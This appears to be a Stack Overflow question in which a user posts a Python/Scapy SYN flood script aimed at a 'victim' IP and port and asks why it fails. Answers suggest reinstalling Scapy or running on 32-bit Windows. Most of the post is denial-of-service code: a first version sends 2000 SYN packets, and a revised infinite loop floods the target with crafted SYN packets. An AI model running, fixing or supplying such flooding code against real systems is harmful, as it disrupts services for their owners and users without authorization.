0

I am writing code for synflood attack but when I run the file via python I get errors.

SYNFlood.py file:

import sys
import logging 
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *

target_ip = sys.argv[1] # the ip of the victim machine
target_port = sys.argv[2] # the port of the victim machine
print ("ip "+target_ip+" port "+target_port)
send(IP(src="192.168.x.x", dst="target_ip")/TCP(sport=135,dport=target_port), count=2000)

But when I am running the file with:

python SYNFlood.py target_ip target_port

I get the following error:

enter image description here

I have tried to alter the code as the following:

while (1==1):
    p=IP(dst=target_ip,id=1111,ttl=99)/TCP(sport=RandShort(),dport=int(target_port) ,seq=12345,ack=1000,window=1000,flags="S")
    send(p, count=10)

But even if on cmd I get enter image description here

when I run on target pc the command netstat -A I dont see syn_recv packets.

I have tried with

send(p, verbose=0, count=10)

but I dont have any output neither on dst pc nor src pc with respective commands.

JORd
  • 109
  • 1
  • 10
  • Not sure how to help. The WARNING is always present and the module cannot be properly imported. In addition regarding the logging where have you defined the logger 'scapy.runtime'? – Marco smdm Nov 29 '16 at 13:45
  • I have fixed the warning from [here](http://stackoverflow.com/questions/30579611/ipsec-py-cant-find-the-attribute-ipproto-esp-and-socket-ipproto-ah) – JORd Nov 29 '16 at 14:04
  • Is it now working? :-) I hope so. Have a nice day. – Marco smdm Nov 29 '16 at 15:08
  • Unfortunately, no it didnt – JORd Nov 29 '16 at 15:24

2 Answers2

0

Try reinstalling scapy or scapy3k. This sounds like a build issue. Confirm you are using the correct scapy version.

0

I figured out that I had to run the program on windows 32-bit version.

JORd
  • 109
  • 1
  • 10